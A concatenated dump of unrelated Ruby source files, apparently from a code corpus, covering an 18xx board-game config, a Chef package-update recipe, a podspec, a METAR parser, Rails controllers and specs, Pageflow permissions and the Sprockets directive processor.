"type": "blocks_hexes",
"owner_type": "player",
"hexes": [
"G15"
]
}
]
},
{
"name": "Champlain & St.Lawrence",
"sym": "CS",
"value": 40,
"revenue": 10,
"desc": "A corporation owning the CS may lay a tile on the CS's hex even if this hex is not connected to the corporation's track. This free tile placement is in addition to the corporation's normal tile placement. Blocks B20 while owned by a player.",
"abilities": [
{
"type": "blocks_hexes",
"owner_type": "player",
"hexes": [
"B20"
]
},
{
"type": "tile_lay",
"owner_type": "corporation",
"hexes": [
"B20"
],
"tiles": [
"3",
"4",
"58"
],
"when": "owning_corp_or_turn",
"count": 1
}
]
},
{
"name": "Delaware & Hudson",
"sym": "DH",
"value": 70,
"revenue": 15,
"desc": "A corporation owning the DH may place a tile and station token in the DH hex F16 for only the $120 cost of the mountain. The station does not have to be connected to the remainder of the corporation's route. The tile laid is the owning corporation's one tile placement for the turn. Blocks F16 while owned by a player.",
"abilities": [
{
"type": "blocks_hexes",
"owner_type": "player",
"hexes": [
"F16"
]
},
{
"type": "teleport",
"owner_type": "corporation",
"tiles": [
"57"
],
"hexes": [
"F16"
]
}
]
},
{
"name": "Mohawk & Hudson",
"sym": "MH",
"value": 110,
"revenue": 20,
"desc": "A player owning the MH may exchange it for a 10% share of the NYC if they do not already hold 60% of the NYC and there is NYC stock available in the Bank or the Pool. The exchange may be made during the player's turn of a stock round or between the turns of other players or corporations in either stock or operating rounds. This action closes the MH. Blocks D18 while owned by a player.",
"abilities": [
{
"type": "blocks_hexes",
"owner_type": "player",
"hexes": [
"D18"
]
},
{
"type": "exchange",
"corporations": ["NYC"],
"owner_type": "player",
"when": "any",
"from": [
"ipo",
"market"
]
}
]
},
{
"name": "Camden & Amboy",
"sym": "CA",
"value": 160,
"revenue": 25,
"desc": "The initial purchaser of the CA immediately receives a 10% share of PRR stock without further payment. This action does not close the CA. The PRR corporation will not be running at this point, but the stock may be retained or sold subject to the ordinary rules of the game. Blocks H18 while owned by a player.",
"abilities": [
{
"type": "blocks_hexes",
"owner_type": "player",
"hexes": [
"H18"
]
},
{
"type": "shares",
"shares": "PRR_1"
}
]
},
{
"name": "Baltimore & Ohio",
"sym": "BO",
"value": 220,
"revenue": 30,
"desc": "The owner of the BO private company immediately receives the President's certificate of the B&O without further payment. The BO private company may not be sold to any corporation, and does not exchange hands if the owning player loses the Presidency of the B&O. When the B&O purchases its first train the private company is closed. Blocks I13 & I15 while owned by a player.",
"abilities": [
{
"type": "blocks_hexes",
"owner_type": "player",
"hexes": [
"I13",
"I15"
]
},
{
"type": "close",
"when": "bought_train",
"corporation": "B&O"
},
{
"type": "no_buy"
},
{
"type": "shares",
"shares": "B&O_0"
}
]
}
],
"corporations": [
{
"float_percent": 60,
"sym": "PRR",
"name": "Pennsylvania Railroad",
"logo": "18_chesapeake/PRR",
"simple_logo": "1830/PRR.alt",
"tokens": [
0,
40,
100,
100
],
"coordinates": "H12",
"color": "green"
},
{
"float_percent": 60,
"sym": "NYC",
"name": "New York Central Railroad",
"logo": "1830/NYC",
"simple_logo": "1830/NYC.alt",
"tokens": [
0,
40,
100,
100
],
"coordinates": "E19",
"color": "#474548"
},
{
"float_percent": 60,
"sym": "CPR",
"name": "Canadian Pacific Railroad",
"logo": "1830/CPR",
"simple_logo": "1830/CPR.alt",
"tokens": [
0,
40,
100,
100
],
"coordinates": "A19",
"color": "red"
},
{
"float_percent": 60,
"sym": "B&O",
"name": "Baltimore & Ohio Railroad",
"logo": "18_chesapeake/BO",
"simple_logo": "1830/BO.alt",
"tokens": [
0,
40,
100
],
"coordinates": "I15",
"color": "blue"
},
{
"float_percent": 60,
"sym": "C&O",
"name": "Chesapeake & Ohio Railroad",
"logo": "18_chesapeake/CO",
"simple_logo": "1830/CO.alt",
"tokens": [
0,
40,
100
],
"coordinates": "F6",
"color": "#ADD8E6",
"text_color": "black"
},
{
"float_percent": 60,
"sym": "ERIE",
"name": "Erie Railroad",
"logo": "1846/ERIE",
"simple_logo": "1830/ERIE.alt",
"tokens": [
0,
40,
100
],
"coordinates": "E11",
"color": "#FFF500",
"text_color": "black"
},
{
"float_percent": 60,
"sym": "NYNH",
"name": "New York, New Haven & Hartford Railroad",
"logo": "1830/NYNH",
"simple_logo": "1830/NYNH.alt",
"tokens": [
0,
40
],
"coordinates": "G19",
"city": 0,
"color": "#d88e39"
},
{
"float_percent": 60,
"sym": "B&M",
"name": "Boston & Maine Railroad",
"logo": "1830/BM",
"simple_logo": "1830/BM.alt",
"tokens": [
0,
40
],
"coordinates": "E23",
"color": "#95c054"
}
],
"trains": [
{
"name": "2",
"distance": 2,
"price": 80,
"rusts_on": "4",
"num": 6
},
{
"name": "3",
"distance": 3,
"price": 180,
"rusts_on": "6",
"num": 5
},
{
"name": "4",
"distance": 4,
"price": 300,
"rusts_on": "D",
"num": 4
},
{
"name": "5",
"distance": 5,
"price": 450,
"num": 3,
"events":[
{"type": "close_companies"}
]
},
{
"name": "6",
"distance": 6,
"price": 630,
"num": 2
},
{
"name": "D",
"distance": 999,
"price": 1100,
"num": 20,
"available_on": "6",
"discount": {
"4": 300,
"5": 300,
"6": 300
}
}
],
"hexes": {
"red": {
"offboard=revenue:yellow_40|brown_70;path=a:3,b:_0;path=a:4,b:_0;path=a:5,b:_0": [
"F2"
],
"offboard=revenue:yellow_30|brown_60,hide:1,groups:Gulf;path=a:4,b:_0;border=edge:5": [
"I1"
],
"offboard=revenue:yellow_30|brown_60;path=a:3,b:_0;path=a:4,b:_0;border=edge:2": [
"J2"
],
"offboard=revenue:yellow_30|brown_50,hide:1,groups:Canada;path=a:5,b:_0;border=edge:4": [
"A9"
],
"offboard=revenue:yellow_30|brown_50,groups:Canada;path=a:5,b:_0;path=a:0,b:_0;border=edge:1": [
"A11"
],
"offboard=revenue:yellow_30|brown_40;path=a:2,b:_0;path=a:3,b:_0": [
"K13"
],
"offboard=revenue:yellow_20|brown_30;path=a:1,b:_0;path=a:0,b:_0": [
"B24"
]
},
"gray": {
"city=revenue:20;path=a:5,b:_0;path=a:4,b:_0": [
"D2"
],
"city=revenue:30;path=a:5,b:_0;path=a:0,b:_0": [
"F6"
],
"path=a:2,b:3": [
"E9"
],
"city=revenue:10,loc:2.5;path=a:1,b:_0;path=a:4,b:_0;path=a:1,b:4": [
"H12"
],
"city=revenue:20;path=a:1,b:_0;path=a:4,b:_0;path=a:0,b:_0": [
"D14"
],
"town=revenue:10;path=a:1,b:_0;path=a:3,b:_0": [
"C15"
],
"city=revenue:20;path=a:2,b:_0": [
"K15"
],
"path=a:0,b:5": [
"A17"
],
"city=revenue:40;path=a:5,b:_0;path=a:0,b:_0": [
"A19"
],
"town=revenue:10;path=a:1,b:_0;path=a:2,b:_0": [
"I19",
"F24"
],
"path=a:1,b:0": [
"D24"
]
},
"white": {
"city=revenue:0;upgrade=cost:80,terrain:water": [
"F4",
"J14",
"F22"
],
"town=revenue:0;border=edge:5,type:impassable": [
"E7"
],
"border=edge:2,type:impassable": [
"F8"
],
"border=edge:5,type:impassable": [
"C11"
],
"border=edge:0,type:impassable": [
"C13"
],
"border=edge:2,type:impassable;border=edge:3,type:impassable": [
"D12"
],
"city=revenue:0;border=edge:5,type:impassable": [
"B16"
],
"upgrade=cost:120,terrain:mountain;border=edge:2,type:impassable": [
"C17"
],
"town": [
"B20",
"D4",
"F10"
],
"blank": [
"I13",
"D18",
"B12",
"B14",
"B22",
"C7",
"C9",
"C23",
"D8",
"D16",
"D20",
"E3",
"E13",
"E15",
"F12",
"F14",
"F18",
"G3",
"G5",
"G9",
"G11",
"H2",
"H6",
"H8",
"H14",
"I3",
"I5",
"I7",
"I9",
"J4",
"J6",
"J8"
],
"upgrade=cost:120,terrain:mountain": [
"G15",
"C21",
"D22",
"E17",
"E21",
"G13",
"I11",
"J10",
"J12"
],
"city": [
"E19",
"H4",
"B10",
"H10",
"H16"
],
"city=revenue:0;upgrade=cost:120,terrain:mountain": [
"F16"
],
"town=revenue:0;town=revenue:0": [
"G7",
"G17",
"F20"
],
"upgrade=cost:80,terrain:water": [
"D6",
"I17",
"B18",
"C19"
]
},
"yellow": {
"city=revenue:0;city=revenue:0;label=OO;upgrade=cost:80,terrain:water": [
"E5",
"D10"
],
"city=revenue:0;city=revenue:0;label=OO": [
"E11",
"H18"
],
"city=revenue:30;path=a:4,b:_0;path=a:0,b:_0;label=B": [
"I15"
],
"city=revenue:40;city=revenue:40;path=a:3,b:_0;path=a:0,b:_1;label=NY;upgrade=cost:80,terrain:water": [
"G19"
],
"city=revenue:30;path=a:3,b:_0;path=a:5,b:_0;label=B": [
"E23"
]
}
},
"phases": [
{
"name": "2",
"train_limit": 4,
"tiles": [
"yellow"
],
"operating_rounds": 1
},
{
"name": "3",
"on": "3",
"train_limit": 4,
"tiles": [
"yellow",
"green"
],
"operating_rounds": 2,
"status":[
"can_buy_companies"
]
},
{
"name": "4",
"on": "4",
"train_limit": 3,
"tiles": [
"yellow",
"green"
],
"operating_rounds": 2,
"status":[
"can_buy_companies"
]
},
{
"name": "5",
"on": "5",
"train_limit": 2,
"tiles": [
"yellow",
"green",
"brown"
],
"operating_rounds": 3
},
{
"name": "6",
"on": "6",
"train_limit": 2,
"tiles": [
"yellow",
"green",
"brown"
],
"operating_rounds": 3
},
{
"name": "D",
"on": "D",
"train_limit": 2,
"tiles": [
"yellow",
"green",
"brown"
],
"operating_rounds": 3
}
]
}
DATA
end
end
end
end
# rubocop:enable Lint/RedundantCopDisableDirective, Layout/LineLength, Layout/HeredocIndentation
| 19.907253 | 404 | 0.409151 |
260d2c9d0cb4e9f7710dec0bec5aa73ac4c5bc29 | 1,228 | # frozen_string_literal: true
#
# Cookbook Name:: aws-parallelcluster
# Recipe:: _update_packages
#
# Copyright 2013-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the
# License. A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "LICENSE.txt" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES
# OR CONDITIONS OF ANY KIND, express or implied. See the License for the specific language governing permissions and
# limitations under the License.
unless node['platform'] == 'centos' && node['platform_version'].to_i < 7
# not CentOS6
case node['platform_family']
when 'rhel', 'amazon'
execute 'yum-update' do
command "yum -y update && package-cleanup -y --oldkernels --count=1"
end
when 'debian'
execute 'apt-update' do
command "apt-get update"
end
execute 'apt-upgrade' do
command "DEBIAN_FRONTEND=noninteractive apt-get -y -o Dpkg::Options::=\"--force-confdef\" -o Dpkg::Options::=\"--force-confold\" --with-new-pkgs upgrade && apt-get autoremove"
end
end
end
| 36.117647 | 181 | 0.709283 |
2839b0f4e099fde4302c0ceddd49e92fe7563d2e | 1,695 | #
# Be sure to run `pod lib lint ASRadioGroup.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'ASRadioGroup'
s.version = '1.0.7'
s.summary = 'ASRadioGroup for Radio Option Selection'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
ASRadioGroup is an awesome Dependency to Make Your Life Easier
DESC
s.homepage = 'https://github.com/amitcse6/ASRadioGroup'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'Amit Mondol' => '[email protected]' }
s.source = { :git => 'https://github.com/amitcse6/ASRadioGroup.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'Source/**/*.swift'
s.swift_version = '5.0'
s.platforms = {
"ios": "8.0"
}
# s.resource_bundles = {
# 'ASRadioGroup' => ['ASRadioGroup/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 36.06383 | 105 | 0.637168 |
87394629bacf00c4b905cdd0d04bc863fd27a5e3 | 1,271 | module Metarman
class MetarParser
def initialize(wx)
@raw = wx
@result = {}
end
# ToDo::Rainy or Snow condition
# ToDo::After QNH
# ToDo::Refactor This logic is so slowy
def execute
orig = @raw.split(" ")
orig.each do |e|
if /\d{5}[KT]/ === e
@result[:wind_dir] = e[0..2]
@result[:wind_spd] = e[3..4]
elsif /\d{3}[V]\d{3}/ === e
@result[:wind_valuable_min] = e[0..2]
@result[:wind_valuable_max] = e[4..6]
elsif /^\d{4}$/ === e
@result[:visibility] = e
elsif /(CAVOK)/ === e
@result[:cavok] = true
elsif /(SKC)/ === e
@result[:skc] = true
elsif /(FEW)\d{3}/ === e
@result[:few] = e[3..5]
elsif /(SCT)\d{3}/ === e
@result[:sct] = e[3..5]
elsif /(BKN)\d{3}/ === e
@result[:bkn] = e[3..5]
elsif /(OVC)\d{3}/ === e
@result[:ovc] = e[3..5]
elsif /(VV)\d{3}/ === e
@result[:vv] = e[3..4]
elsif /^\d{2}[\/]d{2}$/ === e
@result[:temperture] = e[0..1]
@result[:dewpoint] = e[3..4]
elsif /^[Q]\d{4}$/ === e
@result[:qnh] = e[1..4]
end
end
@result
end
end
end
| 27.042553 | 47 | 0.421715 |
62d277dfaf670d80fa1b09043bc7f17d011fb091 | 433 | require File.expand_path('../../base_request.rb', __FILE__)
require 'excon'
class SubnetRequest < BaseRequest
def list_subnets(filters = {})
request(
:expects => 200,
:method => 'GET',
:path => '/subnets',
:query => filters
)
end
def get_subnet(pool_id)
request(
:expects => 200,
:method => 'GET',
:path => "/subnets/#{pool_id}"
)
end
end
| 18.041667 | 59 | 0.528868 |
1d938e802fddebd2bdb74324f8bef7808f610acf | 3,137 | module UbiquoJobs
module Managers
class Base
# Get the most appropiate job to run, depending job priorities, states
# dependencies and planification dates
#
# runner: name of the worker that is asking for a job
#
def self.get(runner)
raise NotImplementedError.new("Implement get(runner) in your Manager.")
end
# Get an already assigned task for a given runner,
# or nil if that runner does not have any assigned task
#
# runner: name of the worker that is asking for a job
#
def self.get_assigned(runner)
raise NotImplementedError.new("Implement get_assigned(runner) in your Manager.")
end
# Get the job instance that has the given job_id
#
# job_id: job identifier
#
def self.get_by_id(job_id)
raise NotImplementedError.new("Implement get_by_id(runner) in your Manager.")
end
# Get an array of jobs matching filters
#
# filters: hash of properties that the jobs must fullfill, and/or the following options:
# {
# :order => list order, sql syntax
# :page => number of the asked page, for pagination
# :per_page => number per_page job elements (default 10)
# }
# Returns an array with the format [pages_information, list_of_jobs]
#
def self.list(filters = {})
raise NotImplementedError.new("Implement get(runner) in your Manager.")
end
# Creates a job using the given options, and planifies it
# to be run according to the planification options.
# Returns the newly created job
#
# type: class type of the desired job
# options: properties for the new job
#
def self.add(type, options = {})
raise NotImplementedError.new("Implement add(runner) in your Manager.")
end
# Deletes a the job that has the given identifier
# Returns true if successfully deleted, false otherwise
#
# job_id: job identifier
#
def self.delete(job_id)
raise NotImplementedError.new("Implement delete(job_id) in your Manager.")
end
# Updates the existing job that has the given identifier
# Returns true if successfully updated, false otherwise
#
# job_id: job identifier
# options: a hash with the changed properties
#
def self.update(job_id, options)
raise NotImplementedError.new("Implement update(job_id) in your Manager.")
end
# Marks the job with the given identifier to be repeated
#
# job_id: job identifier
#
def self.repeat(job_id)
raise NotImplementedError.new("Implement repeat(job_id) in your Manager.")
end
# Return the job class that the manager is using, as a constant
#
# type: class type of the desired job
# options: properties for the new job
#
def self.job_class
raise NotImplementedError.new("Implement job_class() in your Manager.")
end
end
end
end
| 33.37234 | 96 | 0.624482 |
ff304681633fb5063db48f2e75f99f49b59e39a5 | 66 | json.plan do
json.partial! 'api/v1/plans/plan', plan: @plan
end | 22 | 48 | 0.69697 |
d54c24bd89084dda84c3cbc88943220d614e3e34 | 2,094 | class DiscountsController < ApplicationController
before_action :check_user_session
before_action :set_discount, only: [:show, :edit, :update, :destroy]
# GET /discounts
# GET /discounts.json
def index
@discounts = Discount.all
end
# GET /discounts/1
# GET /discounts/1.json
def show
end
# GET /discounts/new
def new
@discount = Discount.new
end
# GET /discounts/1/edit
def edit
end
# POST /discounts
# POST /discounts.json
def create
@discount = Discount.new(discount_params)
respond_to do |format|
if @discount.save
format.html { redirect_to @discount, notice: 'Discount was successfully created.' }
format.json { render :show, status: :created, location: @discount }
else
format.html { render :new }
format.json { render json: @discount.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /discounts/1
# PATCH/PUT /discounts/1.json
def update
respond_to do |format|
if @discount.update(discount_params)
format.html { redirect_to @discount, notice: 'Discount was successfully updated.' }
format.json { render :show, status: :ok, location: @discount }
else
format.html { render :edit }
format.json { render json: @discount.errors, status: :unprocessable_entity }
end
end
end
# DELETE /discounts/1
# DELETE /discounts/1.json
def destroy
@discount.destroy
respond_to do |format|
format.html { redirect_to discounts_url, notice: 'Discount was successfully destroyed.' }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_discount
@discount = Discount.find(params[:id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def discount_params
params.require(:discount).permit(:title, :description, :category, :price,
:user_id, location_attributes: [:lat, :lng], photo_attributes: [:data, :file_type])
end
end
| 27.194805 | 95 | 0.671442 |
f71a3a3d24d0a08c0e5cb7cbcf909bfcdda3b64f | 46 | class Cloudinary::Engine < Rails::Engine
end
| 15.333333 | 41 | 0.76087 |
21217d6a982ad6e74dfccbd26be437bb0c246342 | 1,452 | #-- copyright
# OpenProject is a project management system.
# Copyright (C) 2014 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.md for more details.
#++
require File.expand_path('../../spec_helper', __FILE__)
describe OpenProject::Webhooks do
describe '.register_hook' do
after do
OpenProject::Webhooks.unregister_hook('testhook1')
end
it 'should succeed' do
OpenProject::Webhooks.register_hook('testhook1') {}
end
end
describe '.find' do
let!(:hook) { OpenProject::Webhooks.register_hook('testhook3') {} }
after do
OpenProject::Webhooks.unregister_hook('testhook3')
end
it 'should succeed' do
expect(OpenProject::Webhooks.find('testhook3')).to equal(hook)
end
end
describe '.unregister_hook' do
let(:probe) { lambda{} }
before do
OpenProject::Webhooks.register_hook('testhook2', &probe)
end
it 'should result in the hook no longer being found' do
OpenProject::Webhooks.unregister_hook('testhook2')
expect(OpenProject::Webhooks.find('testhook2')).to be_nil
end
end
end
| 25.928571 | 81 | 0.701791 |
f7941cc7b02b379a1c03a766ed8ec818547fce69 | 3,029 | module Pageflow
# Defines the default abilities for the Pageflow models.
module AbilityMixin
# Call this in the ability initializer.
def pageflow_default_abilities(user)
return if user.nil?
can :read, Folder, :id => user.entries.map(&:folder_id)
can [:read, :use_files], Entry, :id => user.entry_ids
can [:edit, :update, :edit_outline, :publish, :restore, :snapshot, :confirm_encoding], Entry do |entry|
can_edit_entry?(user, entry)
end
can :manage, Chapter do |record|
can_edit_entry?(user, record.entry)
end
can :manage, Pageflow.config.file_types.map(&:model) do |record|
can_edit_any_entry_using_file?(user, record)
end
can :manage, Page do |page|
can_edit_entry?(user, page.chapter.entry)
end
can :manage, Revision do |revision|
can_edit_entry?(user, revision.entry)
end
if user.admin?
can [:read, :create, :update], Account
can :destroy, Account do |account|
account.users.empty? && account.entries.empty?
end
can :manage, Theming
can :manage, ::User
can :destroy, Membership
can :create, Membership do |membership|
membership.entry.nil? ||
membership.user.nil? ||
membership.entry.account == membership.user.account
end
can :manage, Folder
can :manage, [Entry, Revision]
can :manage, [Chapter, Page]
can :manage, Pageflow.config.file_types.map(&:model)
can :manage, Resque
elsif user.account_manager?
can :manage, Theming, :account_id => user.account_id
can :manage, Folder, :account_id => user.account.id
can :manage, Entry, :account_id => user.account.id
can :manage, ::User, :account_id => user.account.id
can :manage, Revision, :entry => {:account_id => user.account.id}
can :destroy, Membership, :entry => {:account_id => user.account.id}
can :destroy, Membership, :user => {:account_id => user.account.id}
can :create, Membership do |membership|
(membership.entry.nil? || membership.entry.account == user.account) &&
(membership.user.nil? || membership.user.account == user.account)
end
end
end
private
def can_edit_entry?(user, entry)
user.entries.include?(entry) || account_manager_of_entries_account?(user, entry)
end
def account_manager_of_entries_account?(user, entry)
user.account_manager? && entry.account_id == user.account_id
end
def can_edit_any_entry_using_file?(user, file)
member_of_any_entry_using_file?(user, file) || account_manager_of_account_using_file?(user, file)
end
def member_of_any_entry_using_file?(user, file)
(user.entry_ids & file.using_entry_ids).any?
end
def account_manager_of_account_using_file?(user, file)
user.account_manager? && file.using_account_ids.include?(user.account_id)
end
end
end
| 32.223404 | 109 | 0.643447 |
5d7e9cd9504c4c913dfd31b1191124a31bf5a723 | 461 | module Zemus
class Vine
def self.valid?(url)
url =~ /vine.co/
end
def initialize(url)
@url = url
end
def to_embed
"<iframe class='vine-embed' src='https://vine.co/v/#{vine_id}/embed/simple' width='100%' height='600px' frameborder='0'></iframe><script async src='//platform.vine.co/static/scripts/embed.js' charset='utf-8'></script>"
end
def vine_id
@url.split("/v").last.split("/")[1]
end
end
end | 21.952381 | 224 | 0.605206 |
793694632af5216c642dd3fd4cd1e11236ca8510 | 12,126 | require 'pathname'
require 'shellwords'
require 'tilt'
require 'yaml'
module Sprockets
# The `DirectiveProcessor` is responsible for parsing and evaluating
# directive comments in a source file.
#
# A directive comment starts with a comment prefix, followed by an "=",
# then the directive name, then any arguments.
#
# // JavaScript
# //= require "foo"
#
# # CoffeeScript
# #= require "bar"
#
# /* CSS
# *= require "baz"
# */
#
# The Processor is implemented as a `Tilt::Template` and is loosely
# coupled to Sprockets. This makes it possible to disable or modify
# the processor to do whatever you'd like. You could add your own
# custom directives or invent your own directive syntax.
#
# `Environment#processors` includes `DirectiveProcessor` by default.
#
# To remove the processor entirely:
#
# env.unregister_processor('text/css', Sprockets::DirectiveProcessor)
# env.unregister_processor('application/javascript', Sprockets::DirectiveProcessor)
#
# Then inject your own preprocessor:
#
# env.register_processor('text/css', MyProcessor)
#
class DirectiveProcessor < Tilt::Template
# Directives will only be picked up if they are in the header
# of the source file. C style (/* */), JavaScript (//), and
# Ruby (#) comments are supported.
#
# Directives in comments after the first non-whitespace line
# of code will not be processed.
#
HEADER_PATTERN = /
\A (
(?m:\s*) (
(\/\* (?m:.*?) \*\/) |
(\#\#\# (?m:.*?) \#\#\#) |
(\/\/ .* \n?)+ |
(\# .* \n?)+
)
)+
/x
# Directives are denoted by a `=` followed by the name, then
# argument list.
#
# A few different styles are allowed:
#
# // =require foo
# //= require foo
# //= require "foo"
#
DIRECTIVE_PATTERN = /
^ [\W]* = \s* (\w+.*?) (\*\/)? $
/x
attr_reader :pathname
attr_reader :header, :body
def prepare
@pathname = Pathname.new(file)
@header = data[HEADER_PATTERN, 0] || ""
@body = $' || data
# Ensure body ends in a new line
@body += "\n" if @body != "" && @body !~ /\n\Z/m
@included_pathnames = []
@compat = false
end
# Implemented for Tilt#render.
#
# `context` is a `Context` instance with methods that allow you to
# access the environment and append to the bundle. See `Context`
# for the complete API.
def evaluate(context, locals, &block)
@context = context
@result = ""
@has_written_body = false
process_directives
process_source
@result
end
# Returns the header String with any directives stripped.
def processed_header
lineno = 0
@processed_header ||= header.lines.map { |line|
lineno += 1
# Replace directive line with a clean break
directives.assoc(lineno) ? "\n" : line
}.join.chomp
end
# Returns the source String with any directives stripped.
def processed_source
@processed_source ||= processed_header + body
end
# Returns an Array of directive structures. Each structure
# is an Array with the line number as the first element, the
# directive name as the second element, followed by any
# arguments.
#
# [[1, "require", "foo"], [2, "require", "bar"]]
#
def directives
@directives ||= header.lines.each_with_index.map { |line, index|
if directive = line[DIRECTIVE_PATTERN, 1]
name, *args = Shellwords.shellwords(directive)
if respond_to?("process_#{name}_directive", true)
[index + 1, name, *args]
end
end
}.compact
end
protected
attr_reader :included_pathnames
attr_reader :context
# Gathers comment directives in the source and processes them.
# Any directive method matching `process_*_directive` will
# automatically be available. This makes it easy to extend the
# processor.
#
# To implement a custom directive called `require_glob`, subclass
# `Sprockets::DirectiveProcessor`, then add a method called
# `process_require_glob_directive`.
#
# class DirectiveProcessor < Sprockets::DirectiveProcessor
# def process_require_glob_directive
# Dir["#{pathname.dirname}/#{glob}"].sort.each do |filename|
# require(filename)
# end
# end
# end
#
# Replace the current processor on the environment with your own:
#
# env.unregister_processor('text/css', Sprockets::DirectiveProcessor)
# env.register_processor('text/css', DirectiveProcessor)
#
def process_directives
directives.each do |line_number, name, *args|
context.__LINE__ = line_number
send("process_#{name}_directive", *args)
context.__LINE__ = nil
end
end
def process_source
unless @has_written_body || processed_header.empty?
@result << processed_header << "\n"
end
included_pathnames.each do |pathname|
@result << context.evaluate(pathname)
end
unless @has_written_body
@result << body
end
if compat? && constants.any?
@result.gsub!(/<%=(.*?)%>/) { constants[$1.strip] }
end
end
# The `require` directive functions similar to Ruby's own `require`.
# It provides a way to declare a dependency on a file in your path
# and ensures its only loaded once before the source file.
#
# `require` works with files in the environment path:
#
# //= require "foo.js"
#
# Extensions are optional. If your source file is ".js", it
# assumes you are requiring another ".js".
#
# //= require "foo"
#
# Relative paths work too. Use a leading `./` to denote a relative
# path:
#
# //= require "./bar"
#
def process_require_directive(path)
if @compat
if path =~ /<([^>]+)>/
path = $1
else
path = "./#{path}" unless relative?(path)
end
end
context.require_asset(path)
end
# `require_self` causes the body of the current file to be
# inserted before any subsequent `require` or `include`
# directives. Useful in CSS files, where it's common for the
# index file to contain global styles that need to be defined
# before other dependencies are loaded.
#
# /*= require "reset"
# *= require_self
# *= require_tree .
# */
#
def process_require_self_directive
if @has_written_body
raise ArgumentError, "require_self can only be called once per source file"
end
context.require_asset(pathname)
process_source
included_pathnames.clear
@has_written_body = true
end
# The `include` directive works similar to `require` but
# inserts the contents of the dependency even if it already
# has been required.
#
# //= include "header"
#
def process_include_directive(path)
pathname = context.resolve(path)
context.depend_on_asset(pathname)
included_pathnames << pathname
end
# `require_directory` requires all the files inside a single
# directory. It's similar to `path/*` since it does not follow
# nested directories.
#
# //= require_directory "./javascripts"
#
def process_require_directory_directive(path = ".")
if relative?(path)
root = pathname.dirname.join(path).expand_path
unless (stats = stat(root)) && stats.directory?
raise ArgumentError, "require_directory argument must be a directory"
end
context.depend_on(root)
entries(root).each do |pathname|
pathname = root.join(pathname)
if pathname.to_s == self.file
next
elsif context.asset_requirable?(pathname)
context.require_asset(pathname)
end
end
else
# The path must be relative and start with a `./`.
raise ArgumentError, "require_directory argument must be a relative path"
end
end
# `require_tree` requires all the nested files in a directory.
# Its glob equivalent is `path/**/*`.
#
# //= require_tree "./public"
#
def process_require_tree_directive(path = ".")
if relative?(path)
root = pathname.dirname.join(path).expand_path
unless (stats = stat(root)) && stats.directory?
raise ArgumentError, "require_tree argument must be a directory"
end
context.depend_on(root)
each_entry(root) do |pathname|
if pathname.to_s == self.file
next
elsif stat(pathname).directory?
context.depend_on(pathname)
elsif context.asset_requirable?(pathname)
context.require_asset(pathname)
end
end
else
# The path must be relative and start with a `./`.
raise ArgumentError, "require_tree argument must be a relative path"
end
end
# Allows you to state a dependency on a file without
# including it.
#
# This is used for caching purposes. Any changes made to
# the dependency file will invalidate the cache of the
# source file.
#
# This is useful if you are using ERB and File.read to pull
# in contents from another file.
#
# //= depend_on "foo.png"
#
def process_depend_on_directive(path)
context.depend_on(path)
end
# Allows you to state a dependency on an asset without including
# it.
#
# This is used for caching purposes. Any changes that would
# invalid the asset dependency will invalidate the cache our the
# source file.
#
# Unlike `depend_on`, the path must be a requirable asset.
#
# //= depend_on_asset "bar.js"
#
def process_depend_on_asset_directive(path)
context.depend_on_asset(path)
end
# Allows dependency to be excluded from the asset bundle.
#
# The `path` must be a valid asset and may or may not already
# be part of the bundle. Once stubbed, it is blacklisted and
# can't be brought back by any other `require`.
#
# //= stub "jquery"
#
def process_stub_directive(path)
context.stub_asset(path)
end
# Enable Sprockets 1.x compat mode.
#
# Makes it possible to use the same JavaScript source
# file in both Sprockets 1 and 2.
#
# //= compat
#
def process_compat_directive
@compat = true
end
# Checks if Sprockets 1.x compat mode enabled
def compat?
@compat
end
# Sprockets 1.x allowed for constant interpolation if a
# constants.yml was present. This is only available if
# compat mode is on.
def constants
if compat?
pathname = Pathname.new(context.root_path).join("constants.yml")
stat(pathname) ? YAML.load_file(pathname) : {}
else
{}
end
end
# `provide` is stubbed out for Sprockets 1.x compat.
# Mutating the path when an asset is being built is
# not permitted.
def process_provide_directive(path)
end
private
def relative?(path)
path =~ /^\.($|\.?\/)/
end
def stat(path)
context.environment.stat(path)
end
def entries(path)
context.environment.entries(path)
end
def each_entry(root, &block)
context.environment.each_entry(root, &block)
end
end
end
| 29.793612 | 89 | 0.587168 |
ffa6c555bbaa46ccc01d6cf9860c236e1f7aa6c2 | 601 | module Filters
class ValidateEncryptedSubmission
def self.before(controller)
if controller.submission_params[:encrypted_submission].blank?
controller.render json: {
message: ['Encrypted Submission is missing']
}, status: :unprocessable_entity
else
begin
controller.decrypted_submission
rescue StandardError => e
Sentry.capture_exception(e)
controller.render json: {
message: ['Unable to decrypt submission payload']
}, status: :unprocessable_entity
end
end
end
end
end
| 28.619048 | 67 | 0.642263 |
9131b15c7ced061b6569e1384e550c9f443f06dc | 1,415 | require 'rails_helper'
describe VotesController do
let!(:debate){ Debate.create(title: "Fat Tax", body: "A fat body.")}
